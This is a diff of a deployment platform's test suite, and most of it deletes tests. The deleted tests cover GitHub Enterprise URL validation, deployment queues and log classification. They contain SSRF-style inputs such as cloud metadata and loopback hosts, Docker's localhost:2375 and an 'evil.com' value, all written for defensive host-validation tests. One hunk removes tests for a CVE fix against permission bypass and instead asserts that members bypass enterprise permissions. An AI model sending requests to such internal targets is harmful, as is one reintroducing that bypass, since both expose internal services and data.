-		expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
-			"https://github.acme.com:8443",
-		);
-	});
-
-	it("treats an absent value as github.com", () => {
-		// Not specified is different from specified wrong.
-		expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
-		expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
-		expect(urlOf(parseGithubBaseUrl("  "))).toBe(DEFAULT_GITHUB_URL);
-	});
-
-	it("rejects plaintext http", () => {
-		expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
-		expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
-	});
-
-	it("rejects dotless hostnames", () => {
-		expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
-		expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
-	});
-
-	it("rejects a dotless hostname hidden behind the DNS root label", () => {
-		// "metadata." resolves like "metadata" but the trailing dot would satisfy
-		// a naive `includes(".")` check.
-		expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
-		expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
-	});
-
-	it("never falls back to github.com on a typo", () => {
-		// The symptom that opened the ticket: a provider silently pointing at
-		// github.com and reporting that it cannot find the repositories.
-		for (const typo of [
-			"htps://acme.ghe.com",
-			"ftp://acme.ghe.com",
-			"https://",
-			"acme .ghe.com",
-		]) {
-			const result = parseGithubBaseUrl(typo);
-			expect(result, typo).toHaveProperty("error");
-			expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
-		}
-	});
-});
-
-describe("deriveGithubApiUrl", () => {
-	it("maps github.com to api.github.com", () => {
-		expect(deriveGithubApiUrl("https://github.com")).toBe(
-			DEFAULT_GITHUB_API_URL,
-		);
-		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
-			DEFAULT_GITHUB_API_URL,
-		);
-		expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
-	});
-
-	it("prefixes api. for data residency tenants", () => {
-		expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
-			"https://api.acme.ghe.com",
-		);
-		expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
-			"https://api.americancreditacceptance.ghe.com",
-		);
-	});
-
-	it("uses /api/v3 for Enterprise Server", () => {
-		expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
-			"https://github.acme.com/api/v3",
-		);
-		expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
-			"https://github.acme.com:8443/api/v3",
-		);
-	});
-
-	it("does not treat a lookalike host as data residency", () => {
-		// Must not match the .ghe.com branch just because the string contains it.
-		expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
-			"https://ghe.com.acme.io/api/v3",
-		);
-	});
-
-	it("still detects data residency behind the DNS root label", () => {
-		// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
-		// through to the /api/v3 branch.
-		expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
-			"https://api.acme.ghe.com",
-		);
-	});
-
-	it("maps www.github.com, which a user may well type", () => {
-		// Not dead weight: GitHub never redirects a manifest there, but the value
-		// comes from a text field. Without this it would derive
-		// https://www.github.com/api/v3.
-		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
-			DEFAULT_GITHUB_API_URL,
-		);
-	});
-});
-
-describe("providers created before Enterprise support", () => {
-	it("keeps pointing at github.com", () => {
-		// The column defaults to https://github.com, but a null must not break it.
-		expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
-		expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
-	});
-});

apps/dokploy/__test__/git-provider/github-setup-handler.test.ts

@@ -1,143 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// The gh_init branch runs on a GET the user can be linked into, so a rejected
-// host must produce a 400 *before* any outbound request is made.
-const mockValidateRequest = vi.hoisted(() => vi.fn());
-const mockHasPermission = vi.hoisted(() => vi.fn());
-const mockCreateGithub = vi.hoisted(() => vi.fn());
-const mockOctokitRequest = vi.hoisted(() => vi.fn());
-
-vi.mock("@dokploy/server", async (importOriginal) => {
-	const actual = await importOriginal<typeof import("@dokploy/server")>();
-	return {
-		...actual,
-		validateRequest: mockValidateRequest,
-		createGithub: mockCreateGithub,
-	};
-});
-
-vi.mock("@dokploy/server/services/permission", () => ({
-	hasPermission: mockHasPermission,
-}));
-
-vi.mock("octokit", () => ({
-	Octokit: class {
-		request = mockOctokitRequest;
-	},
-}));
-
-const { default: handler } = await import("@/pages/api/providers/github/setup");
-
-const ORG = "org-1";
-const USER = "user-1";
-
-const buildRes = () => {
-	const res = {
-		statusCode: 0,
-		body: undefined as unknown,
-		redirectedTo: undefined as string | undefined,
-		status(code: number) {
-			res.statusCode = code;
-			return res;
-		},
-		json(payload: unknown) {
-			res.body = payload;
-			return res;
-		},
-		redirect(_code: number, url: string) {
-			res.redirectedTo = url;
-			return res;
-		},
-	};
-	return res;
-};
-
-const call = async (githubUrl?: string | string[]) => {
-	const res = buildRes();
-	const req = {
-		query: {
-			code: "manifest-code",
-			state: `gh_init:${ORG}:${USER}`,
-			...(githubUrl === undefined ? {} : { githubUrl }),
-		},
-		headers: {},
-	} as unknown as Parameters<typeof handler>[0];
-
-	await handler(req, res as unknown as Parameters<typeof handler>[1]);
-	return res;
-};
-
-describe("github setup handler — host validation", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-		mockValidateRequest.mockResolvedValue({
-			user: { id: USER },
-			session: { activeOrganizationId: ORG },
-		});
-		mockHasPermission.mockResolvedValue(true);
-		mockOctokitRequest.mockResolvedValue({
-			data: {
-				name: "Dokploy",
-				html_url: "https://acme.ghe.com/apps/dokploy",
-				id: 1,
-				client_id: "cid",
-				client_secret: "csecret",
-				webhook_secret: "wsecret",
-				pem: "key",
-			},
-		});
-		mockCreateGithub.mockResolvedValue(undefined);
-	});
-
-	it.each([
-		["http://acme.ghe.com", "plaintext http"],
-		["http://localhost:2375", "internal service over http"],
-		["https://metadata", "dotless hostname"],
-		["htps://acme.ghe.com", "scheme typo"],
-	])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
-		const res = await call(githubUrl);
-
-		expect(res.statusCode).toBe(400);
-		expect(mockOctokitRequest).not.toHaveBeenCalled();
-		expect(mockCreateGithub).not.toHaveBeenCalled();
-	});
-
-	it("throws on a repeated parameter instead of silently picking one", async () => {
-		// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
-		await expect(
-			call(["https://acme.ghe.com", "https://evil.com"]),
-		).rejects.toThrow();
-
-		expect(mockCreateGithub).not.toHaveBeenCalled();
-	});
-
-	it("accepts a data residency tenant", async () => {
-		await call("https://acme.ghe.com");
-
-		expect(mockCreateGithub).toHaveBeenCalledWith(
-			expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
-			ORG,
-			USER,
-		);
-	});
-
-	it("accepts a self-hosted Enterprise Server host", async () => {
-		await call("https://github.corp.acme.com");
-
-		expect(mockCreateGithub).toHaveBeenCalledWith(
-			expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
-			ORG,
-			USER,
-		);
-	});
-
-	it("treats an absent parameter as github.com", async () => {
-		await call(undefined);
-
-		expect(mockCreateGithub).toHaveBeenCalledWith(
-			expect.objectContaining({ githubUrl: "https://github.com" }),
-			ORG,
-			USER,
-		);
-	});
-});

apps/dokploy/__test__/git-provider/github-url-parity.test.ts

@@ -1,75 +0,0 @@
-import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
-import { describe, expect, it } from "vitest";
-import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
-
-/**
- * The client cannot import from @dokploy/server (node-only modules), so
- * resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
- * stops the two from drifting apart — and they already did once, when the
- * client stripped trailing slashes but not paths and the form action disagreed
- * with the persisted row.
- *
- * The invariant: for the same input, both must make the same accept/reject
- * decision, and agree on the URL when they accept.
- */
-const INPUTS = [
-	// Accepted
-	"https://github.com",
-	"github.com",
-	"https://acme.ghe.com",
-	"acme.ghe.com",
-	"https://github.corp.acme.com",
-	"https://github.acme.com:8443",
-	"https://acme.ghe.com/",
-	"https://acme.ghe.com///",
-	"https://acme.ghe.com/enterprises/foo",
-	"https://acme.ghe.com/some/path?x=1",
-	"  acme.ghe.com  ",
-	"https://acme.ghe.com.",
-	"https://169.254.169.254",
-	"https://127.0.0.1",
-	"https://2130706433",
-	"https://0x7f.1",
-	"",
-	"   ",
-	// Rejected
-	"http://acme.ghe.com",
-	"http://localhost:2375",
-	"https://[::1]",
-	"https://[::ffff:127.0.0.1]",
-	"https://metadata",
-	"https://metadata.",
-	"https://localhost",
-	"https://localhost.",
-	"htps://acme.ghe.com",
-	"ftp://acme.ghe.com",
-	"https://",
-	"acme .ghe.com",
-	"esto no es una url",
-];
-
-describe("client and server agree on GitHub base URLs", () => {
-	it.each(INPUTS)("%j", (input) => {
-		const client = resolveGithubBaseUrl(input);
-		const server = parseGithubBaseUrl(input);
-
-		const clientAccepted = !client.error;
-		const serverAccepted = "url" in server;
-
-		expect(
-			clientAccepted,
-			`accept/reject differs for ${JSON.stringify(input)}`,
-		).toBe(serverAccepted);
-
-		if (clientAccepted && "url" in server) {
-			expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
-				server.url,
-			);
-		}
-	});
-
-	it("both treat an empty value as github.com", () => {
-		expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
-		expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
-	});
-});

apps/dokploy/__test__/logs/log-classification.test.ts

@@ -1,42 +0,0 @@
-import { getLogType } from "@/components/dashboard/docker/logs/utils";
-import { expect, test } from "vitest";
-
-test("classifies real failures as error", () => {
-	expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
-	expect(getLogType("[ERROR] something went wrong").type).toBe("error");
-	expect(getLogType("Deployment failed").type).toBe("error");
-	expect(
-		getLogType(
-			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
-		).type,
-	).toBe("error");
-});
-
-test("does not classify explicit non-error key/values as error (#4538)", () => {
-	// ofelia job-completion summary for a successful run
-	expect(
-		getLogType(
-			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
-		).type,
-	).not.toBe("error");
-
-	expect(getLogType("request done, error: null").type).not.toBe("error");
-	expect(getLogType("checks passed, failures=0").type).not.toBe("error");
-	expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
-	expect(getLogType('job done failed=false error=""').type).not.toBe("error");
-});
-
-test("keeps errors whose value merely starts with a no-error word", () => {
-	expect(getLogType("connect failed: no route to host").type).toBe("error");
-	expect(getLogType("connection failed: no such host").type).toBe("error");
-	expect(
-		getLogType("error: none of the configured nodes are available").type,
-	).toBe("error");
-	expect(getLogType("error: nil pointer dereference").type).toBe("error");
-	expect(getLogType("request failed: 0 bytes received").type).toBe("error");
-});
-
-test("keeps statusCode-based classification", () => {
-	expect(getLogType('{"statusCode": "500"}').type).toBe("error");
-	expect(getLogType('{"statusCode": "204"}').type).toBe("success");
-});

apps/dokploy/__test__/permissions/check-permission.test.ts

@@ -58,7 +58,7 @@ beforeEach(() => {
 	vi.clearAllMocks();
 });
 
-describe("owner and admin bypass enterprise resources", () => {
+describe("static roles bypass enterprise resources", () => {
 	it("owner bypasses deployment.read", async () => {
 		memberToReturn = mockMemberData("owner");
 		await expect(
@@ -73,8 +73,15 @@ describe("owner and admin bypass enterprise resources", () => {
 		).resolves.toBeUndefined();
 	});
 
-	it("owner bypasses multiple enterprise permissions at once", async () => {
-		memberToReturn = mockMemberData("owner");
+	it("member bypasses schedule.delete", async () => {
+		memberToReturn = mockMemberData("member");
+		await expect(
+			checkPermission(ctx, { schedule: ["delete"] }),
+		).resolves.toBeUndefined();
+	});
+
+	it("member bypasses multiple enterprise permissions at once", async () => {
+		memberToReturn = mockMemberData("member");
 		await expect(
 			checkPermission(ctx, {
 				deployment: ["read"],
@@ -85,55 +92,6 @@ describe("owner and admin bypass enterprise resources", () => {
 	});
 });
 
-describe("member is denied org-level enterprise resources (CVE: bypass via staticRoles)", () => {
-	it("member is denied registry.read", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(
-			checkPermission(ctx, { registry: ["read"] }),
-		).rejects.toThrow();
-	});
-
-	it("member is denied certificate.read", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(
-			checkPermission(ctx, { certificate: ["read"] }),
-		).rejects.toThrow();
-	});
-
-	it("member is denied destination.read", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(
-			checkPermission(ctx, { destination: ["read"] }),
-		).rejects.toThrow();
-	});
-
-	it("member is denied notification.read", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(
-			checkPermission(ctx, { notification: ["read"] }),
-		).rejects.toThrow();
-	});
-
-	it("member is denied auditLog.read", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(
-			checkPermission(ctx, { auditLog: ["read"] }),
-		).rejects.toThrow();
-	});
-
-	it("member is denied server.read", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(checkPermission(ctx, { server: ["read"] })).rejects.toThrow();
-	});
-
-	it("member is denied registry.create", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(
-			checkPermission(ctx, { registry: ["create"] }),
-		).rejects.toThrow();
-	});
-});
-
 describe("static roles validate free-tier resources", () => {
 	it("owner passes project.create", async () => {
 		memberToReturn = mockMemberData("owner");
@@ -183,29 +141,4 @@ describe("legacy boolean overrides for member", () => {
 		memberToReturn = mockMemberData("member");
 		await expect(checkPermission(ctx, { docker: ["read"] })).rejects.toThrow();
 	});
-
-	it("member passes gitProviders.create with canAccessToGitProviders=true", async () => {
-		memberToReturn = mockMemberData("member", {
-			canAccessToGitProviders: true,
-		});
-		await expect(
-			checkPermission(ctx, { gitProviders: ["create"] }),
-		).resolves.toBeUndefined();
-	});
-
-	it("member passes gitProviders.delete with canAccessToGitProviders=true", async () => {
-		memberToReturn = mockMemberData("member", {
-			canAccessToGitProviders: true,
-		});
-		await expect(
-			checkPermission(ctx, { gitProviders: ["delete"] }),
-		).resolves.toBeUndefined();
-	});
-
-	it("member fails gitProviders.create with canAccessToGitProviders=false", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(
-			checkPermission(ctx, { gitProviders: ["create"] }),
-		).rejects.toThrow();
-	});
 });

apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts

@@ -39,8 +39,6 @@ const ENTERPRISE_RESOURCES = [
 	"logs",
 	"monitoring",
 	"auditLog",
-	"vaultProvider",
-	"dnsProvider",
 ];
 
 describe("enterpriseOnlyResources set", () => {

apps/dokploy/__test__/permissions/resolve-permissions.test.ts

@@ -143,24 +143,6 @@ describe("free-tier resources for member", () => {
 		const perms = await resolvePermissions(ctx);
 		expect(perms.docker.read).toBe(true);
 	});
-
-	it("member gets gitProviders create/delete=false without legacy override", async () => {
-		memberToReturn = mockMemberData("member");
-		const perms = await resolvePermissions(ctx);
-		expect(perms.gitProviders.read).toBe(false);
-		expect(perms.gitProviders.create).toBe(false);
-		expect(perms.gitProviders.delete).toBe(false);
-	});
-
-	it("member gets gitProviders read/create/delete=true with canAccessToGitProviders", async () => {
-		memberToReturn = mockMemberData("member", {
-			canAccessToGitProviders: true,
-		});
-		const perms = await resolvePermissions(ctx);
-		expect(perms.gitProviders.read).toBe(true);
-		expect(perms.gitProviders.create).toBe(true);
-		expect(perms.gitProviders.delete).toBe(true);
-	});
 });
 
 describe("free-tier resources for owner", () => {

apps/dokploy/__test__/queues/concurrency.test.ts

@@ -1,81 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const getWebServerSettings = vi.fn();
-const findFirstServer = vi.fn();
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: {
-			server: {
-				findFirst: (...args: unknown[]) => findFirstServer(...args),
-			},
-		},
-	},
-}));
-
-vi.mock("@dokploy/server/db/schema", () => ({
-	server: {},
-}));
-
-vi.mock("@dokploy/server/services/web-server-settings", () => ({
-	getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
-}));
-
-vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
-
-import { resolveBuildsConcurrency } from "../../server/queues/concurrency";
-import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
-
-describe("resolveBuildsConcurrency", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-	});
-
-	describe("local web server partition", () => {
-		it("returns the configured concurrency", async () => {
-			getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
-
-			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
-		});
-
-		it("does not cap high values", async () => {
-			getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
-
-			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
-				999,
-			);
-		});
-
-		it("floors values below 1 to 1", async () => {
-			getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
-
-			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
-		});
-
-		it("defaults to 1 when settings are missing", async () => {
-			getWebServerSettings.mockResolvedValue(undefined);
-
-			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
-		});
-	});
-
-	describe("remote server partition", () => {
-		it("returns the server concurrency", async () => {
-			findFirstServer.mockResolvedValue({ buildsConcurrency: 4 });
-
-			await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
-		});
-
-		it("defaults to 1 for an unknown server", async () => {
-			findFirstServer.mockResolvedValue(undefined);
-
-			await expect(resolveBuildsConcurrency("ghost")).resolves.toBe(1);
-		});
-	});
-
-	it("falls back to 1 if resolution throws", async () => {
-		getWebServerSettings.mockRejectedValue(new Error("db down"));
-
-		await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
-	});
-});

apps/dokploy/__test__/queues/in-memory-queue.test.ts

@@ -1,337 +0,0 @@
-import { beforeEach, describe, expect, it } from "vitest";
-import {
-	getGroup,
-	getPartition,
-	InMemoryQueue,
-	LOCAL_PARTITION,
-} from "../../server/queues/in-memory-queue";
-import type { DeploymentJob } from "../../server/queues/queue-types";
-
-const appJob = (applicationId: string, serverId?: string): DeploymentJob => ({
-	applicationId,
-	titleLog: "deploy",
-	descriptionLog: "",
-	type: "deploy",
-	applicationType: "application",
-	serverId,
-});
-
-const composeJob = (composeId: string, serverId?: string): DeploymentJob => ({
-	composeId,
-	titleLog: "deploy",
-	descriptionLog: "",
-	type: "deploy",
-	applicationType: "compose",
-	serverId,
-});
-
-/** A controllable async task: resolves only when `release()` is called. */
-const deferred = () => {
-	let resolve!: () => void;
-	const promise = new Promise<void>((r) => {
-		resolve = r;
-	});
-	return { promise, release: resolve };
-};
-
-const flush = () => new Promise((r) => setTimeout(r, 0));
-
-describe("getPartition / getGroup", () => {
-	it("partitions by serverId, falling back to the local partition", () => {
-		expect(getPartition(appJob("a"))).toBe(LOCAL_PARTITION);
-		expect(getPartition(appJob("a", "server-1"))).toBe("server-1");
-	});
-
-	it("groups applications and compose by their id", () => {
-		expect(getGroup(appJob("a"))).toBe("application:a");
-		expect(getGroup(composeJob("c"))).toBe("compose:c");
-	});
-});
-
-describe("InMemoryQueue concurrency", () => {
-	let nowValue = 0;
-	const now = () => ++nowValue;
-
-	beforeEach(() => {
-		nowValue = 0;
-	});
-
-	it("runs different applications concurrently up to the limit", async () => {
-		const tasks = new Map<string, ReturnType<typeof deferred>>();
-		const started: string[] = [];
-
-		const queue = new InMemoryQueue({ resolveConcurrency: () => 2, now });
-		queue.process(async (job) => {
-			const id = (job.data as any).applicationId;
-			started.push(id);
-			const d = deferred();
-			tasks.set(id, d);
-			await d.promise;
-		});
-		await queue.run();
-
-		await queue.add(appJob("a"));
-		await queue.add(appJob("b"));
-		await queue.add(appJob("c"));
-		await flush();
-
-		// Concurrency 2 -> only a and b start, c waits.
-		expect(started).toEqual(["a", "b"]);
-
-		tasks.get("a")!.release();
-		await flush();
-
-		// A slot freed -> c starts.
-		expect(started).toEqual(["a", "b", "c"]);
-	});
-
-	it("serializes jobs of the same application (per-group FIFO)", async () => {
-		const tasks: Array<ReturnType<typeof deferred>> = [];
-		const started: number[] = [];
-		let counter = 0;
-
-		const queue = new InMemoryQueue({ resolveConcurrency: () => 5, now });
-		queue.process(async () => {
-			started.push(++counter);
-			const d = deferred();
-			tasks.push(d);
-			await d.promise;
-		});
-		await queue.run();
-
-		// Two deploys of the SAME app, even with concurrency 5.
-		await queue.add(appJob("same"));
-		await queue.add(appJob("same"));
-		await flush();
-
-		// Only the first one runs; the second waits for the group to free.
-		expect(started).toEqual([1]);
-
-		tasks[0]!.release();
-		await flush();
-
-		expect(started).toEqual([1, 2]);
-	});
-
-	it("isolates concurrency per server partition", async () => {
-		const started: string[] = [];
-		const tasks = new Map<string, ReturnType<typeof deferred>>();
-
-		// server-1 allows 1, server-2 allows 1, but they are independent.
-		const queue = new InMemoryQueue({
-			resolveConcurrency: () => 1,
-			now,
-		});
-		queue.process(async (job) => {
-			const id = `${job.data.serverId}:${(job.data as any).applicationId}`;
-			started.push(id);
-			const d = deferred();
-			tasks.set(id, d);
-			await d.promise;
-		});
-		await queue.run();
-
-		await queue.add(appJob("a", "server-1"));
-		await queue.add(appJob("b", "server-2"));
-		await flush();
-
-		// One per partition runs in parallel despite concurrency 1 each.
-		expect(started.sort()).toEqual(["server-1:a", "server-2:b"]);
-	});
-
-	it("honors a different concurrency per server", async () => {
-		const started: string[] = [];
-		const tasks = new Map<string, ReturnType<typeof deferred>>();
-
-		// server-fast allows 2, server-slow allows 1.
-		const queue = new InMemoryQueue({
-			resolveConcurrency: (partition) => (partition === "server-fast" ? 2 : 1),
-			now,
-		});
-		queue.process(async (job) => {
-			const id = `${job.data.serverId}:${(job.data as any).applicationId}`;
-			started.push(id);
-			const d = deferred();
-			tasks.set(id, d);
-			await d.promise;
-		});
-		await queue.run();
-
-		await queue.add(appJob("a", "server-fast"));
-		await queue.add(appJob("b", "server-fast"));
-		await queue.add(appJob("c", "server-slow"));
-		await queue.add(appJob("d", "server-slow"));
-		await flush();
-
-		// server-fast runs 2 in parallel; server-slow only 1.
-		expect(started.sort()).toEqual([
-			"server-fast:a",
-			"server-fast:b",
-			"server-slow:c",
-		]);
-
-		// Free a server-slow slot -> its queued app starts.
-		tasks.get("server-slow:c")!.release();
-		await flush();
-		expect(started).toContain("server-slow:d");
-	});
-
-	it("serializes the same app on a server even with spare concurrency", async () => {
-		const started: number[] = [];
-		const tasks: Array<ReturnType<typeof deferred>> = [];
-		let counter = 0;
-
-		// Plenty of room (concurrency 2) but two deploys of the SAME app.
-		const queue = new InMemoryQueue({ resolveConcurrency: () => 2, now });
-		queue.process(async () => {
-			started.push(++counter);
-			const d = deferred();
-			tasks.push(d);
-			await d.promise;
-		});
-		await queue.run();
-
-		await queue.add(appJob("app-x", "server-1"));
-		await queue.add(appJob("app-x", "server-1"));
-		await flush();
-
-		// Only one build of app-x runs despite 2 free slots.
-		expect(started).toEqual([1]);
-
-		tasks[0]!.release();
-		await flush();
-		expect(started).toEqual([1, 2]);
-	});
-
-	it("clamps concurrency below 1 up to 1 (license-disabled behaviour)", async () => {
-		const started: string[] = [];
-		const tasks = new Map<string, ReturnType<typeof deferred>>();
-
-		// Simulate a non-licensed resolver returning 0 — must still run 1.
-		const queue = new InMemoryQueue({ resolveConcurrency: () => 0, now });
-		queue.process(async (job) => {
-			const id = (job.data as any).applicationId;
-			started.push(id);
-			const d = deferred();
-			tasks.set(id, d);
-			await d.promise;
-		});
-		await queue.run();
-
-		await queue.add(appJob("a"));
-		await queue.add(appJob("b"));
-		await flush();
-
-		expect(started).toEqual(["a"]);
-	});
-
-	it("picks up concurrency changes between scheduling ticks", async () => {
-		const started: string[] = [];
-		const tasks = new Map<string, ReturnType<typeof deferred>>();
-		let limit = 1;
-
-		const queue = new InMemoryQueue({
-			resolveConcurrency: () => limit,
-			now,
-		});
-		queue.process(async (job) => {
-			const id = (job.data as any).applicationId;
-			started.push(id);
-			const d = deferred();
-			tasks.set(id, d);
-			await d.promise;
-		});
-		await queue.run();
-
-		await queue.add(appJob("a"));
-		await queue.add(appJob("b"));
-		await flush();
-		expect(started).toEqual(["a"]);
-
-		// Raise the limit (e.g. license activated) and release the running job
-		// so a new tick observes the new concurrency.
-		limit = 2;
-		tasks.get("a")!.release();
-		await flush();
-
-		expect(started).toContain("b");
-	});
-});
-
-describe("InMemoryQueue job management", () => {
-	it("lists waiting jobs and removes them by predicate", async () => {
-		const block = deferred();
-		const queue = new InMemoryQueue({ resolveConcurrency: () => 1 });
-		queue.process(async () => {
-			await block.promise;
-		});
-		await queue.run();
-
-		await queue.add(appJob("running"));
-		await queue.add(appJob("waiting-1"));
-		await queue.add(composeJob("waiting-2"));
-		await flush();
-
-		const waiting = await queue.getJobs(["waiting"]);
-		expect(waiting.map((j) => j.data)).toHaveLength(2);
-
-		const removed = queue.removeWaiting(
-			(data) => (data as any).applicationId === "waiting-1",
-		);
-		expect(removed).toBe(1);
-
-		const after = await queue.getJobs(["waiting"]);
-		expect(after).toHaveLength(1);
-	});
-
-	it("clears all waiting jobs", async () => {
-		const block = deferred();
-		const queue = new InMemoryQueue({ resolveConcurrency: () => 1 });
-		queue.process(async () => {
-			await block.promise;
-		});
-		await queue.run();
-
-		await queue.add(appJob("running"));
-		await queue.add(appJob("waiting-1"));
-		await queue.add(appJob("waiting-2"));
-		await flush();
-
-		expect(queue.clearWaiting()).toBe(2);
-		expect(await queue.getJobs(["waiting"])).toHaveLength(0);
-	});
-
-	it("starts processing as soon as a processor is registered", async () => {
-		const started: string[] = [];
-		const queue = new InMemoryQueue({ resolveConcurrency: () => 5 });
-
-		// No processor yet -> jobs queue but do not run.
-		await queue.add(appJob("a"));
-		await flush();
-		expect(started).toEqual([]);
-
-		// Registering the processor auto-starts the queue (no separate run()).
-		queue.process(async (job) => {
-			started.push((job.data as any).applicationId);
-		});
-		await flush();
-		expect(started).toEqual(["a"]);
-	});
-
-	it("continues scheduling after a job throws", async () => {
-		const started: string[] = [];
-		const queue = new InMemoryQueue({ resolveConcurrency: () => 1 });
-		queue.process(async (job) => {
-			const id = (job.data as any).applicationId;
-			started.push(id);
-			if (id === "a") throw new Error("boom");
-		});
-		await queue.run();
-
-		await queue.add(appJob("a"));
-		await queue.add(appJob("b"));
-		await flush();
-
-		expect(started).toEqual(["a", "b"]);
-	});
-});

apps/dokploy/__test__/registry/registry-schema.test.ts

@@ -1,75 +0,0 @@
-import { apiCreateRegistry, apiTestRegistry } from "@dokploy/server/db/schema";
-import { describe, expect, it } from "vitest";
-
-describe("Registry Schema - Username case preservation (#4632)", () => {
-	const validBase = {
-		registryName: "AWS ECR",
-		password: "dXNlcm5hbWU6cGFzc3dvcmQ=", // dummy base64 token
-		registryUrl: "123456789.dkr.ecr.us-east-1.amazonaws.com",
-		registryType: "cloud" as const,
-		imagePrefix: null,
-	};
-
-	it("should preserve uppercase username (AWS ECR requires 'AWS')", () => {
-		const result = apiCreateRegistry.safeParse({
-			...validBase,
-			username: "AWS",
-		});
-		expect(result.success).toBe(true);
-		if (result.success) {
-			expect(result.data.username).toBe("AWS");
-		}
-	});
-
-	it("should not lowercase mixed-case usernames", () => {
-		const result = apiCreateRegistry.safeParse({
-			...validBase,
-			username: "MyUser",
-		});
-		expect(result.success).toBe(true);
-		if (result.success) {
-			expect(result.data.username).toBe("MyUser");
-		}
-	});
-
-	it("should still trim whitespace from username", () => {
-		const result = apiCreateRegistry.safeParse({
-			...validBase,
-			username: "  AWS  ",
-		});
-		expect(result.success).toBe(true);
-		if (result.success) {
-			expect(result.data.username).toBe("AWS");
-		}
-	});
-
-	it("should reject empty username", () => {
-		const result = apiCreateRegistry.safeParse({
-			...validBase,
-			username: "",
-		});
-		expect(result.success).toBe(false);
-	});
-
-	it("should also preserve case in apiTestRegistry", () => {
-		const result = apiTestRegistry.safeParse({
-			...validBase,
-			username: "AWS",
-		});
-		expect(result.success).toBe(true);
-		if (result.success) {
-			expect(result.data.username).toBe("AWS");
-		}
-	});
-
-	it("should accept lowercase usernames too (backward compat)", () => {
-		const result = apiCreateRegistry.safeParse({
-			...validBase,
-			username: "myuser",
-		});
-		expect(result.success).toBe(true);
-		if (result.success) {
-			expect(result.data.username).toBe("myuser");
-		}
-	});
-});

apps/dokploy/__test__/requests/request.test.ts

@@ -55,28 +55,6 @@ describe("processLogs", () => {
 		expect(result.data).toHaveLength(2);
 	});
 
-	it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
-		const entryWithoutRequestHost = sampleLogEntry.replace(
-			/"RequestHost":"[^"]*",/,
-			"",
-		);
-
-		const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
-
-		expect(() =>
-			parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
-		).not.toThrow();
-
-		const result = parseRawConfig(
-			mixedEntries,
-			undefined,
-			undefined,
-			"traefik.me",
-		);
-		expect(result.totalCount).toBe(1);
-		expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
-	});
-
 	it("should filter out Dokploy dashboard requests", () => {
